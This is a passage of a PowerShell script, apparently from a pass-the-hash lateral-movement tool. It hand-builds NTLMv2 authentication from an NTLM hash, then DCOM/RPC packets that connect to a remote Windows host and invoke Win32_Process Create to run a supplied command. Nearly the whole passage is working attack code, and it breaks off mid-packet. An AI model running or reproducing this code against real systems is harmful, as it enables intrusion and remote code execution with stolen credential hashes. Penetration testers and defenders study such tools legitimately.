[System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $WMI_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $WMI_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + $WMI_session_key_length = 0x00,0x00 + $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $WMI_session_key_length + + $WMI_session_key_length + + $WMI_session_key_offset + + $WMI_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + $assoc_group = $WMI_client_receive[20..23] + $packet_RPC = Get-PacketRPCAUTH3 $NTLMSSP_response + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_stream.Flush() + $causality_ID = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + [Byte[]]$causality_ID_bytes = $causality_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $unused_buffer = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + [Byte[]]$unused_buffer_bytes = $unused_buffer.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_DCOM_remote_create_instance = Get-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short + $DCOM_remote_create_instance = ConvertFrom-PacketOrderedDictionary $packet_DCOM_remote_create_instance + $packet_RPC = Get-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $DCOM_remote_create_instance + $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_stream.Flush() + $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + + if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') + { + Write-Output "$output_username WMI access denied on $target_long" + } + elseif($WMI_client_receive[2] -eq 3) + { + $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) + $error_code = $error_code -replace "-","" + Write-Output "Error code 0x$error_code" + } + elseif($WMI_client_receive[2] -eq 2 -and !$WMI_execute) + { + Write-Output "$output_username accessed WMI on $target_long" + } + elseif($WMI_client_receive[2] -eq 2) + { + + Write-Verbose "$output_username accessed WMI on $target_long" + + if($target_short -eq '127.0.0.1') + { + $target_short = $auth_hostname + } + + $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[") + $target_search = [System.BitConverter]::ToString($target_unicode) + $target_search = $target_search -replace "-","" + $WMI_message = [System.BitConverter]::ToString($WMI_client_receive) + $WMI_message = $WMI_message -replace "-","" + $target_index = $WMI_message.IndexOf($target_search) + + if($target_index -lt 1) + { + $target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList + + ForEach($IP_address in $target_address_list) + { + $target_short = $IP_address.IPAddressToString + $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[") + $target_search = [System.BitConverter]::ToString($target_unicode) + $target_search = $target_search -replace "-","" + $target_index = $WMI_message.IndexOf($target_search) + + if($target_index -gt 0) + { + break + } + + } + + } + + if($target_long -cne $target_short) + { + Write-Verbose "Using $target_short for random port extraction" + } + + if($target_index -gt 0) + { + $target_bytes_index = $target_index / 2 + $WMI_random_port = $WMI_client_receive[($target_bytes_index + $target_unicode.Length)..($target_bytes_index + $target_unicode.Length + 8)] + $WMI_random_port = [System.BitConverter]::ToString($WMI_random_port) + $WMI_random_port_end_index = $WMI_random_port.IndexOf("-5D") + + if($WMI_random_port_end_index -gt 0) + { + $WMI_random_port = $WMI_random_port.SubString(0,$WMI_random_port_end_index) + } + + $WMI_random_port = $WMI_random_port -replace "-00","" + $WMI_random_port = $WMI_random_port.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + [Int]$WMI_random_port_int = -join $WMI_random_port + $MEOW = [System.BitConverter]::ToString($WMI_client_receive) + $MEOW = $MEOW -replace "-","" + $MEOW_index = $MEOW.IndexOf("4D454F570100000018AD09F36AD8D011A07500C04FB68820") + $MEOW_bytes_index = $MEOW_index / 2 + $OXID = $WMI_client_receive[($MEOW_bytes_index + 32)..($MEOW_bytes_index + 39)] + $IPID = $WMI_client_receive[($MEOW_bytes_index + 48)..($MEOW_bytes_index + 63)] + $OXID = [System.BitConverter]::ToString($OXID) + $OXID = $OXID -replace "-","" + $OXID_index = $MEOW.IndexOf($OXID,$MEOW_index + 100) + $OXID_bytes_index = $OXID_index / 2 + $object_UUID = $WMI_client_receive[($OXID_bytes_index + 12)..($OXID_bytes_index + 27)] + $WMI_client_random_port = New-Object System.Net.Sockets.TCPClient + $WMI_client_random_port.Client.ReceiveTimeout = 30000 + } + + if($WMI_random_port) + { + + Write-Verbose "Connecting to $target_long`:$WMI_random_port_int" + + try + { + $WMI_client_random_port.Connect($target_long,$WMI_random_port_int) + } + catch + { + Write-Output "$target_long`:$WMI_random_port_int did not respond" + } + + } + else + { + Write-Output "Random port extraction failure" + } + + } + else + { + Write-Output "Something went wrong" + } + + if($WMI_client_random_port.Connected) + { + $WMI_client_random_port_stream = $WMI_client_random_port.GetStream() + $packet_RPC = Get-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00 + $packet_RPC["RPCBind_FragLength"] = 0xd0,0x00 + $packet_RPC["RPCBind_AuthLength"] = 0x28,0x00 + $packet_RPC["RPCBind_AuthLevel"] = 0x04 + $packet_RPC["RPCBind_NegotiateFlags"] = 0x97,0x82,0x08,0xa2 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_random_port_stream.Flush() + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $assoc_group = $WMI_client_receive[20..23] + $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive) + $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" + $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") + $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 + $WMI_domain_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive + $WMI_target_length = DataLength2 ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive + $WMI_session_ID = $WMI_client_receive[44..51] + $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] + $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] + $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (get-childitem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain = $Domain + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $WMI_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $WMI_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + + $client_signing_constant = 0x73,0x65,0x73,0x73,0x69,0x6f,0x6e,0x20,0x6b,0x65,0x79,0x20,0x74,0x6f,0x20, + 0x63,0x6c,0x69,0x65,0x6e,0x74,0x2d,0x74,0x6f,0x2d,0x73,0x65,0x72,0x76, + 0x65,0x72,0x20,0x73,0x69,0x67,0x6e,0x69,0x6e,0x67,0x20,0x6b,0x65,0x79, + 0x20,0x6d,0x61,0x67,0x69,0x63,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e, + 0x74,0x00 + + $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $client_signing_key = $MD5.ComputeHash($session_base_key + $client_signing_constant) + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + $WMI_session_key_length = 0x00,0x00 + $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $WMI_session_key_length + + $WMI_session_key_length + + $WMI_session_key_offset + + $WMI_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + $HMAC_MD5.key = $client_signing_key + [Byte[]]$sequence_number = 0x00,0x00,0x00,0x00 + $packet_RPC = Get-PacketRPCAUTH3 $NTLMSSP_response + $packet_RPC["RPCAUTH3_CallID"] = 0x02,0x00,0x00,0x00 + $packet_RPC["RPCAUTH3_AuthLevel"] = 0x04 + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_random_port_stream.Flush() + $packet_RPC = Get-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID + $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 + $packet_NTLMSSP_verifier = Get-PacketNTLMSSPVerifier 4 0x04 $sequence_number + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $rem_query_interface = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface + $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier + $HMAC_MD5.key = $client_signing_key + $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $rem_query_interface + $NTLMSSP_verifier[0..11]) + $RPC_signature = $RPC_signature[0..7] + $packet_NTLMSSP_verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = $RPC_signature + $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier + $WMI_client_send = $RPC + $rem_query_interface + $NTLMSSP_verifier + $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_random_port_stream.Flush() + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $WMI_client_stage = 'exit' + + if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') + { + Write-Output "$output_username WMI access denied on $target_long" + } + elseif($WMI_client_receive[2] -eq 3) + { + $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) + $error_code = $error_code -replace "-","" + Write-Output "Failed with error code 0x$error_code" + } + elseif($WMI_client_receive[2] -eq 2) + { + $WMI_data = [System.BitConverter]::ToString($WMI_client_receive) + $WMI_data = $WMI_data -replace "-","" + $OXID_index = $WMI_data.IndexOf($OXID) + $OXID_bytes_index = $OXID_index / 2 + $object_UUID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)] + $WMI_client_stage = 'AlterContext' + } + else + { + Write-Output "Something went wrong" + } + + Write-Verbose "Attempting command execution" + $request_split_index = 5500 + + :WMI_execute_loop while ($WMI_client_stage -ne 'exit') + { + + if($WMI_client_receive[2] -eq 3) + { + $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) + $error_code = $error_code -replace "-","" + Write-Output "Failed with error code 0x$error_code" + $WMI_client_stage = 'exit' + } + + switch ($WMI_client_stage) + { + + 'AlterContext' + { + + switch ($sequence_number[0]) + { + + 0 + { + $alter_context_call_ID = 0x03,0x00,0x00,0x00 + $alter_context_context_ID = 0x02,0x00 + $alter_context_UUID = 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 + $WMI_client_stage_next = 'Request' + } + + 1 + { + $alter_context_call_ID = 0x04,0x00,0x00,0x00 + $alter_context_context_ID = 0x03,0x00 + $alter_context_UUID = 0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20 + $WMI_client_stage_next = 'Request' + } + + 6 + { + $alter_context_call_ID = 0x09,0x00,0x00,0x00 + $alter_context_context_ID = 0x04,0x00 + $alter_context_UUID = 0x99,0xdc,0x56,0x95,0x8c,0x82,0xcf,0x11,0xa3,0x7e,0x00,0xaa,0x00,0x32,0x40,0xc7 + $WMI_client_stage_next = 'Request' + } + + } + + $packet_RPC = Get-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID + $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC + $WMI_client_send = $RPC + $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null + $WMI_client_random_port_stream.Flush() + $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null + $WMI_client_stage = $WMI_client_stage_next + } + + 'Request' + { + $request_split = $false + + switch ($sequence_number[0]) + { + + 0 + { + $sequence_number = 0x01,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 12 + $request_call_ID = 0x03,0x00,0x00,0x00 + $request_context_ID = 0x02,0x00 + $request_opnum = 0x03,0x00 + $request_UUID = $object_UUID2 + $hostname_length = [System.BitConverter]::GetBytes($auth_hostname.Length + 1) + $WMI_client_stage_next = 'AlterContext' + + if([Bool]($auth_hostname.Length % 2)) + { + $auth_hostname_bytes += 0x00,0x00 + } + else + { + $auth_hostname_bytes += 0x00,0x00,0x00,0x00 + } + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + + $hostname_length + + 0x00,0x00,0x00,0x00 + + $hostname_length + + $auth_hostname_bytes + + $process_ID_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00 + + } + + 1 + { + $sequence_number = 0x02,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 8 + $request_call_ID = 0x04,0x00,0x00,0x00 + $request_context_ID = 0x03,0x00 + $request_opnum = 0x03,0x00 + $request_UUID = $IPID + $WMI_client_stage_next = 'Request' + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + } + + 2 + { + $sequence_number = 0x03,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 0 + $request_call_ID = 0x05,0x00,0x00,0x00 + $request_context_ID = 0x03,0x00 + $request_opnum = 0x06,0x00 + $request_UUID = $IPID + [Byte[]]$WMI_namespace_length = [System.BitConverter]::GetBytes($target_short.Length + 14) + [Byte[]]$WMI_namespace_unicode = [System.Text.Encoding]::Unicode.GetBytes("\\$target_short\root\cimv2") + $WMI_client_stage_next = 'Request' + + if([Bool]($target_short.Length % 2)) + { + $WMI_namespace_unicode += 0x00,0x00,0x00,0x00 + } + else + { + $WMI_namespace_unicode += 0x00,0x00 + } + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + + $WMI_namespace_length + + 0x00,0x00,0x00,0x00 + + $WMI_namespace_length + + $WMI_namespace_unicode + + 0x04,0x00,0x02,0x00,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x09, + 0x00,0x00,0x00,0x65,0x00,0x6e,0x00,0x2d,0x00,0x55,0x00,0x53,0x00, + 0x2c,0x00,0x65,0x00,0x6e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00 + + } + + 3 + { + $sequence_number = 0x04,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 8 + $request_call_ID = 0x06,0x00,0x00,0x00 + $request_context_ID = 0x00,0x00 + $request_opnum = 0x05,0x00 + $request_UUID = $object_UUID + $WMI_client_stage_next = 'Request' + $WMI_data = [System.BitConverter]::ToString($WMI_client_receive) + $WMI_data = $WMI_data -replace "-","" + $OXID_index = $WMI_data.IndexOf($OXID) + $OXID_bytes_index = $OXID_index / 2 + $IPID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)] + $packet_rem_release = Get-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID + $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_release + } + + 4 + { + $sequence_number = 0x05,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 4 + $request_call_ID = 0x07,0x00,0x00,0x00 + $request_context_ID = 0x00,0x00 + $request_opnum = 0x03,0x00 + $request_UUID = $object_UUID + $WMI_client_stage_next = 'Request' + $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4 + $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface + } + + 5 + { + $sequence_number = 0x06,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 4 + $request_call_ID = 0x08,0x00,0x00,0x00 + $request_context_ID = 0x00,0x00 + $request_opnum = 0x03,0x00 + $request_UUID = $object_UUID + $WMI_client_stage_next = 'AlterContext' + $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07 + $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface + } + + 6 + { + $sequence_number = 0x07,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 0 + $request_call_ID = 0x09,0x00,0x00,0x00 + $request_context_ID = 0x04,0x00 + $request_opnum = 0x06,0x00 + $request_UUID = $IPID2 + $WMI_client_stage_next = 'Request' + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, + 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00, + 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63, + 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00 + + } + + 7 + { + $sequence_number = 0x08,0x00,0x00,0x00 + $request_flags = 0x83 + $request_auth_padding = 0 + $request_call_ID = 0x10,0x00,0x00,0x00 + $request_context_ID = 0x04,0x00 + $request_opnum = 0x06,0x00 + $request_UUID = $IPID2 + $WMI_client_stage_next = 'Request' + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, + 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00, + 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63, + 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00 + + } + + {$_ -ge 8} + { + $sequence_number = 0x09,0x00,0x00,0x00 + $request_auth_padding = 0 + $request_call_ID = 0x0b,0x00,0x00,0x00 + $request_context_ID = 0x04,0x00 + $request_opnum = 0x18,0x00 + $request_UUID = $IPID2 + [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769) + $stub_length = $stub_length[0,1] + [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727) + $stub_length2 = $stub_length2[0,1] + [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713) + $stub_length3 = $stub_length3[0,1] + [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93) + $command_length = $command_length[0,1] + [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16) + $command_length2 = $command_length2[0,1] + [Byte[]]$command_bytes = [System.Text.Encoding]::UTF8.GetBytes($Command) + + + # thanks to @vysec for finding a bug with certain command lengths + [String]$command_padding_check = $Command.Length / 4 + + if($command_padding_check -like "*.75") + { + $command_bytes += 0x00 + } + elseif($command_padding_check -like "*.5") + { + $command_bytes += 0x00,0x00 + } + elseif($command_padding_check -like "*.25") + { + $command_bytes += 0x00,0x00,0x00 + } + else + { + $command_bytes += 0x00,0x00,0x00,0x00 + } + + $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $causality_ID_bytes + + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, + 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x57,0x00,0x69,0x00,0x6e,0x00, + 0x33,0x00,0x32,0x00,0x5f,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x63, + 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x55,0x73,0x65,0x72, + 0x06,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x63, + 0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + + $stub_length + + 0x00,0x00 + + $stub_length + + 0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00,0x81,0xa6,0x12, + 0xdc,0x7f,0x73,0xcf,0x11,0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24, + 0x12,0xf8,0x90,0x45,0x3a,0x1d,0xd0,0x11,0x89,0x1f,0x00,0xaa,0x00, + 0x4b,0x2e,0x24,0x00,0x00,0x00,0x00 + + $stub_length2 + + 0x00,0x00,0x78,0x56,0x34,0x12 + + $stub_length3 + + 0x00,0x00,0x02,0x53, + 0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x04, + 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x0b, + 0x00,0x00,0x00,0xff,0xff,0x03,0x00,0x00,0x00,0x2a,0x00,0x00,0x00, + 